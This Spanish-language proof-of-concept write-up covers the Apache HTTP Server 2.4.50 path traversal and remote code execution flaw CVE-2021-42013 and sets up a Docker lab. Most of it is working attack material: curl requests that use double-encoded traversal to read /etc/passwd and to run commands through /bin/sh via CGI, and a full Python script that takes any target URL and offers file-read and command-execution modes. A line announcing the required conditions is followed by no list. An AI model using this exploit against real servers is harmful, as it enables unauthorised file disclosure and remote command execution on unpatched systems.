
Exploit de prueba de concepto para la vulnerabilidad de path traversal y ejecución remota de código en Apache HTTP Server CVE-2021-42013, con entorno de laboratorio basado en Docker y script PoC en Python.
Colaborador
Un error en el manejo de la normalización de rutas en Apache HTTP Server 2.4.50 permite leer archivos arbitrarios o ejecutar código remoto sin autenticación.
Se originó debido a un parche incompleto para CVE-2021-41773 y elude el bloqueo de rutas de Apache mediante codificación URL doble (%%32%65).
Para que CVE-2021-42013 funcione, deben cumplirse las siguientes condiciones:
docker-compose up -d
Para verificar que el entorno de prueba está ejecutándose, ejecuta el siguiente código:
docker-compose ps

Cuando el servidor se ejecuta correctamente, se puede acceder a http://localhost:8080.
Para subir al directorio padre se usa ../, pero Apache bloqueó esos caracteres. Para eludirlo, se puede usar el valor codificado . como 2e. La versión Apache 2.4.50 decodifica la codificación %2e antes de comprobarlo, por lo que usar %2e2e hace que el carácter sea bloqueado como ../. Por lo tanto, se debe usar una codificación doble con %%32%65 para evitar ese filtrado.
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

Cuando el entorno permite CGI, se puede cambiar la última parte a /bin/sh para lograr RCE.
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Uso: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

docker-compose down